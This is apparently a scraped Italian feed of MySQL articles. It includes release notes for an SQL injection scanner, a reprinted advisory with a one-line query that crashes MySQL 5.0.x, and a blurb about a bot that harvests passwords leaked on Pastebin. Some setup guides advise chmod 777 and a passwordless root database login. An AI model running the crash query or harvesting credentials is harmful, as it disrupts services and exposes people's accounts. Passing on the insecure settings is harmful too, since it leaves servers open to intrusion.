  • Un sql error finder che testa ogni parametro get della pagina passata dal crawler e cerca di trovare errori di validazione che generino errori sql
  • Modulo per il salvataggio di report pdf dei risultati trovati

Nella seconda beta (versione 0.2) rilasciata a Dicembre 2012 vengono inoltre aggiunte le seguenti funzioni:

  • Supporto a nuove tecniche di MySQL Injection: error-based, boolean-based blind and UNION query;
  • Per ogni connessione viene automaticamente e randomizzato un user-agent;
  • Supporto al HTTP Proxy;
  • Risolto un bug della GUI che mandava in stallo il software all’avvio di un nuovo processo.

Nell’ultima beta 0.3, appena rilasciata, vengono implementate le seguenti funzionalità:

  • Supporto per gli attacchi sql injection sui database MySql(union, blind e error based sql injection), PostegreSQLl(union, blind e error based sql injection), Microsoft SQL Serverl(union, blind e error based sql injection) e Oraclel(union, blind,error based e XML Error Based sql injection);
  • Supporto cookie per poter effettuare il test di siti che richiedono il login obbligatorio;
  • Fix di un bug bloccante del crawler, che adesso è harder, better, faster, stronger.

Potete scaricare l’ultima versione beta attraverso SourceForge.

L’articolo Rilasciata una nuova versione di SQLSentinel sembra essere il primo su Over Security.

Creare un piccolo web server casalingo sulla vostra linux box

$
0
0

Apache_HTTP_SERVER

Come prima cosa, occorre scaricare i
seguenti package:
Apache(web server): versione 1.3.33
MySQL(database): versione 4.1.12
PHP: 5.0.4
Una volta completato il download, occorre procedere con la decompressione dei pacchetti
sovracitati:
root@padrino:~# tar -zxvf apache_1.3.33.tar.gz -C /usr/local
root@padrino:~# tar -zxvf mysql-max-4.1.12-pc-linux-gnu-i686.tar.gz -C /usr/local
root@padrino:~# tar -zxvf php-5.0.4.tar.gz -C /usr/local
(Tutti i file sono stati scompattati nella dir /usr/local)
In caso di file con estensione tar.bz2 il comando sarà tar -jxvf nomefile.estensione.
Dopo aver compiuto tale procedura, occorre passare all’installazione di MySQL:
root@padrino:~# cd /usr/local
In questo caso oltre alla dir del ‘php’ e di ‘apache’, sarà presente anche quella di
‘mysql’, ma data la lunghezza del nome, dovrete creare un collegamento, alla directory,
tramite il seguente comando:
ln -s NOME-DIR-MYSQL/ mysql.
Un esempio pratico può essere:
root@padrino:/usr/local# ln -s mysql-max-4.1.12-pc-linux-gnu-i686/ mysql
Bene, ora occorre spostarsi all’interno della dir:
root@padrino:/usr/local# cd mysql
Per installare MySQL, occorre seguire alcuni semplici passaggi:
Prima di tutto, provvediamo ad aggiungere un gruppo MySQL. Il comando lo troverete
estrapolandolo dall’esempio qui riportato:
root@padrino:/usr/local/mysql# /usr/sbin/groupadd mysql
Successivamente, dovrete creare l’utente MySQL all’interno del gruppo appena creato
(comando(i) nell’esempio)
root@padrino:/usr/local/mysql# /usr/sbin/useradd -g mysql mysql
Per installare i files del database, dovrete seguire la seguente procedura:
root@padrino:/usr/local/mysql# ./scripts/mysql_install_db
Occorre cambiare i permessi, per ottenere il risultato voluto. Ciò potrà esser fatto col
comando:
root@padrino:/usr/local/mysql# chown -R root:mysql /usr/local/mysql
e…
root@padrino:/usr/local/mysql# chown -R mysql:mysql /usr/local/mysql/data (stessa cosa di
sopra)
Dopo aver impostato i permessi del database, occorre creare una nuova password per poter
accedere in modalità super-user (root, in questo caso):
root@padrino:/usr/local/mysql# ./bin/mysqladmin -u root password ‘nuova_password’
Per avviare MySQL, dovete dare il comando:
root@padrino:/usr/local/mysql# /usr/local/mysql/bin/mysqld_safe -user=mysql &
Per testare l’effettiva installazione di mysql, cosa sempre consigliata, eseguite il
seguente comando:
root@padrino:/usr/local/mysql# /usr/local/mysql/bin/mysqlshow -h localhost -u mysql
Qualora l’output fornito, sia uguale a quello qui di seguito, significa che tutto, finora
è andato a buon fine:
+———–+
| Databases |
+———–+
| test |
+———–+
Fatto questo vi rimangono altri due passaggi alla fine e cioè apache e php.
Iniziamo da Apache:
Nel percorso /usr/local dovrete entrare nella directory ‘apache_1.3.33′. All’interno,
digitate il comando:
root@padrino:~/apache_1.3.33# ./configure –prefix=/usr/local/apache
(–prefix=/usr/local/apache con questo parametro si specifica la directory ove installare
apache.)
Fatto questo, occorre installare php (la distro php-5.0.4). Entrate nella cartella ‘php’
e digitate:
root@padrino:/usr/local/php-5.0.4# ./configure –with-mysql=/usr/local/mysql
–enable-xslt –with-xslt-sablot=/usr/local/sablot –with-dom=/usr/local/libxml
–with-zlib –with-iconv –with-expat-dir=/usr/local/expat
–with-apache=/usr/local/apache_1.3.33/
se non ci sono errori dovete dare il comando per la compilazione e l’installazione:
root@padrino:/usr/local/php-5.0.4# make && make install
Ora ritornate su Apache rientrate nella dir e date il seguente comando:
root@padrino:/usr/local/apache_1.3.33# ./configure –prefix=/usr/local/apache
–enable-module=rewrite –activate-module=src/modules/php5/libphp5.a
root@padrino:/usr/local/apache_1.3.33# make
root@padrino:/usr/local/apache_1.3.33# make install
Prima di avviare apache, occorre configurare il file httpd.conf (tramite un editor di
testi (es. vi o emacs)). Il file lo troverete alla path /usr/local/apache/conf. I
parametri da modificare sono:
ServerName cercatelo all’interno del file decommentatelo e al posto di www.example.com
metteteci 127.0.0.1
Aggiungete questa direttiva che serve per interpretare i file .php:
#
# To use the PHP interpreter
#
AddType application/x-httpd-php .php
Vi può essere, di una qualche utilità, includere, nelle pagine di default di una
directory, i nomi index.php e index.php3, in un particolare ordine di ricerca. Per fare
questo cambiare la direttiva:

DirectoryIndex index.html

in:


DirectoryIndex index.php index.php3 index.html


DirectoryIndex index.html


Per testare l’effetto, si crei, alla path /usr/local/apache/htdocs, un file chiamato
test.php contenente questo testo:
phpinfo( );
?>
Ora, alla path /usr/local/apache/bin, digitate:
root@padrino:/usr/local/apache/bin# ./apachectl start
Fatto ciò, si attivi il browser predefinito di sistema e, digitando “localhost”, apparirà
una pagina creata da apache, indicante l’avvenuta installazione (con successo) del
server. Digitando http://localhost/test.php verrà visualizzata una pagina con il logo php
contenente alcune informazioni.
Questo è tutto spero vi sia stato utile


MySql

$
0
0

images

Questo testo ha lo scopo di descrivere il primo approccio al database
MySql. Non contiene quindi una descrizione
completa del linguaggio ma le sue parti ritenute essenziali. Come prerequisito è richiesta una conoscenza del
linguaggio SQL cui si fa riferimento in svariati punti. Il manuale completo può essere scaricato dal sito
www.mysql.com/documentation/
Gli esempi non sono stati verificati, possono quindi contenere degli errori: il manuale è stato realizzato per puro
scopo didattico, chi usa MySql in applicazioni commerciali faccia riferimento alla documentazione ufficiale. La
versione di riferimento è la 3.23.47.
In questo manuale faremo riferimento all’esecuzione di comandi SQL dal terminale a linea di comando fornito con
MySql, altri manuali essenziali faranno riferimento alle interfacce realizzabili in PHP e Java. MySql è un server, di
fatto si collega alla porta 3306 di default, tutte le applicazioni quindi useranno lo schema client-server. Nel manuale
inoltre non sono riportati i comandi SQL, per questi si può fare riferimento ad un qualsiasi testo.

Manuale essenziale MySql

[PHP] Pastebin Scraper

$
0
0

Su pastebin vengono postati giornalmente un sacco di password e dati sensibili. Proprio per questo ho deciso di creare un piccolo bot che mi salva tutti questi dati sensibili nel mio database. Per fare questo ho utilizzato php e due semplici classi che avevo scritto in passato: una classe per interfacciarmi al database; una classe [...]

Installare Nginx con php-fpm su Debian 7 Wheezy

$
0
0
Nginx (si pronuncia "engin") è un server HTTP open-source ad alte prestazioni. Nginx è conosciuto per la sua stabilità, ricco set di funzionalità, configurazione semplice e per il basso consumo di risorse. Questo tutorial mostra come è possibile installare Nginx su un server di Debian 7 Wheezy con supporto PHP5 (attraverso PHP-FPM) e il supporto di MySQL. LEMP = (Linux + Nginx + MySQL + PHP).

Ripristino da una corruzione dello schema mysql

$
0
0
Anche se il formato della tabella di MySQL è molto affidabile (tutte le modifiche a una tabella fatta da un’istruzione SQL sono scritti prima l’istruzione restituisce), è ancora possibile ottenere tabelle danneggiate se uno qualsiasi dei seguenti eventi:      Il processo mysqld viene fermato nel bel mezzo di una scrittura nel DB.      Un blocco [...]

MySQL 5.0.x Denial Of Service

$
0
0
source: http://www.securityfocus.com/bid/23911/info
 
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
 
An attacker can exploit this issue to crash the application, denying access to legitimate users.
 
NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
 
Versions prior to MySQL 5.0.40 are vulnerable.
 
SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));

(89)

Aumentare le prestazioni di Mysql

$
0
0

Salve,

Dopo un lungo tempo rientro con un articolo molto interessante per chi vuole (o deve) aumentare le performance del proprio server Mysql:

Per la mia personale esperienza consiglio di fare tali modifiche:

  1. Utilizzare MariaDB ( Un Fork molto performante di mysql )
  2. Ottimizzare le tabelle
  3. Ottimizzare il vostro file di configurazione a seconda del hardware che utilizzate ( in calce un buon wizard per una configurazione base )
  4. Spostare i database in un’altro disco più performante (esempio SSD o SAS 15k)

Lasciate i vostri consigli nei commenti ;)

Tools Wizard

L’articolo Aumentare le prestazioni di Mysql sembra essere il primo su Mirio Dev.

Mysql : Soluzione errore “Another MySQL daemon already running with the same unix socket”

$
0
0

Se all’avvio del servizio mysql server si ottiene il seguente errore …

Another MySQL daemon already running with the same unix socket

… eseguire i seguenti comandi:

mondounix.com # mv /var/lib/mysql/mysql.sock /var/lib/mysql/mysql.sock.bak
 
mondounix.com # service mysqld start

(235)


Sito web in locale su Linux senza XAMPP – Parte 1

$
0
0

Quando si realizza un sito web, sarebbe buona regola non mettere tutto subito online, ma sviluppare e testare tutto in locale, sul proprio pc, per poi passare online quando si è ragionevolmente certi che il sito sia abbastanza (per non dire del tutto) completo. Anche in termini di prestazioni, sicuramente il sito web in locale permette tempi di attesa e caricamento estremamente più brevi.

Basta fare un giro in rete per rendersi conto che esiste un modo semplicissimo per avere un sito web in locale, ovvero installare un software che si chiama Xampp, esistente sia per Windows che per Linux. Personalmente, usando Linux, è una soluzione che non condivido, in quanto il sistema operativo del pinguino possiede tutti gli strumenti per mettere su il nostro piccolo server locale su cui caricare il nostro sito web in locale (detto anche LAMP, ovvero Linux Apache MySQL PHP), più qualche piccolo accorgimento che, soprattutto nel caso di un sito sviluppato con WordPress, possono tornare utili (di questo però parlerò nella seconda parte di questa guida).

id="more-3618">

Cominciamo!

Per prima cosa installiamo Apache (il webserver che ci servirà per far “girare” il nostro sito):

sudo apt-get install apache2

A questo punto, apriamo un browser e andiamo all’indirizzo:

http://localhost

E se tutto è andato bene, visualizzeremo una pagina del genere:

href="http://www.red-blue.it/wp-content/uploads/apache.png" rel="prettyPhoto[pp_gal]" title=""> class="aligncenter size-medium wp-image-3621" alt="apache" src="http://www.red-blue.it/wp-content/uploads/apache-300x96.png" width="300" height="96" />Bene, passiamo ad installare tutto il resto:

sudo apt-get install php5 libapache2-mod-php5 mysql-server

E al termine riavviamo Apache:

sudo service apache2 restart

Per testare il PHP, basta creare un file con estensione .php, ad esempio test.php, con all’interno le semplici righe di codice:

<?php
   phpinfo();
?>

Poi creiamo una directory (come root) all’interno di /var/www/ (la directory predefinita di Apache per i nostri contenuti web), le assegnamo i permessi giusti, ad esempio, supponendo di aver creato la directory myfiles, con il comando:

sudo chmod 777 /var/www/myfiles

Copiamo al suo interno (ora potremo farlo anche da utente normale) il file che abbiamo creato prima e puntiamo il browser su di esso, ovvero andiamo all’indirizzo:

http://localhost/myfiles/test.php

Avremo come risposta una pagina che riassume la configurazione di PHP, tipo questa:

href="http://www.red-blue.it/wp-content/uploads/php.png" rel="prettyPhoto[pp_gal]" title=""> class="aligncenter size-medium wp-image-3624" alt="php" src="http://www.red-blue.it/wp-content/uploads/php-268x300.png" width="268" height="300" />Infine, per testare MySQL, proporrei di installare phpMyAdmin, comodissa utility per la gestione dei database:

sudo apt-get install phpmyadmin

Al termine dell’installazione, testiamo andando col browser all’indirizzo:

http://localhost/phpmyadmin

Avremo una maschera di login come questa:

href="http://www.red-blue.it/wp-content/uploads/php2.png" rel="prettyPhoto[pp_gal]" title=""> class="aligncenter size-medium wp-image-3629" alt="php2" src="http://www.red-blue.it/wp-content/uploads/php2-290x300.png" width="290" height="300" />Il nome utente e la password saranno ovviamente quelli che avete definito in fase di installazione (personalmente, anche se non si dovrebbe fare, spesso uso l’utente root senza password).

Abbiamo finito, il nostro server è completo, basta inserire i nostri contenuti web da testare in /var/www/directory_personale e andarli a visualizzare nel browser tramite localhost. Stessa storia ovviamente vale per WordPress, basterà copiare i files di installazione in quella directory e avviare l’installazione esattamente come faremmo online e potremo iniziale a sviluppare il sito web in locale, con la possibilità di testare tutti i suoi componenti.

E il bello è che lo avremo sempre a disposizione! Senza dover avviare un apposito programma!! src="http://www.red-blue.it/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" />

Appuntamento alla seconda e ultima parte di questa guida per continuare a parlare di WordPress..

Alla prossima..

L’articolo rel="nofollow" href="http://www.red-blue.it/internet/sito-web-in-locale-su-linux-senza-xampp-parte-1.html">Sito web in locale su Linux senza XAMPP – Parte 1 sembra essere il primo su rel="nofollow" href="http://www.red-blue.it">RedBlue's Blog.

Ubuntu sceglie MySQL

[ Joomla ] JTableMenu: _getNode Failed

$
0
0

Migrando una versione Joomla 1.5 alla 2.5 si potrebbe imbattere su un errore del genere “JTableMenu: _getNode Failed” quando si tenta di creare una voce di menù. Analizzando la tabella menu del database noteremo che manca id = 1 oppure semplicemente non è stato migrato. Per risolvere questo problema non dovremmo far altro che creare di …

Rilasciata ufficialmente la milestone 10 di MariaDB

wordpress: installazione rapida requisiti da linea di comando

$
0
0

Eseguire i comandi seguenti (le parti in grassetto devono essere sostituite con dei nomi da voi scelti)

$ apt-get install apache2 php5 mysql-server php5-mysql

$ mysql -u USERNAME_MYSQL_ADMIN -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5340 to server version: 3.23.54

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> CREATE DATABASE NOME_DATABASE;
Query OK, 1 row affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON NOME_DATABASE.* TO “NOME_UTENTE@localhost”
    -> IDENTIFIED BY “PASSWORD“;
Query OK, 0 rows affected (0.00 sec)
  
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)

mysql> EXIT
Bye


A questo punto scaricate l’ultima versione di wordpress dal sito www.wordpress.org, scompattatela nella home del server apache e accedete con:

http://IP_ADDRESS_O_NOME_DEL_SERVER 

e seguite le istruzioni riportate a video.

Viewing all 63 articles
Browse latest View live


Latest Images

Vimeo 10.7.0 by Vimeo.com, Inc.

Vimeo 10.7.0 by Vimeo.com, Inc.

HANGAD

HANGAD

MAKAKAALAM

MAKAKAALAM

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Vimeo 10.6.1 by Vimeo.com, Inc.

Vimeo 10.6.1 by Vimeo.com, Inc.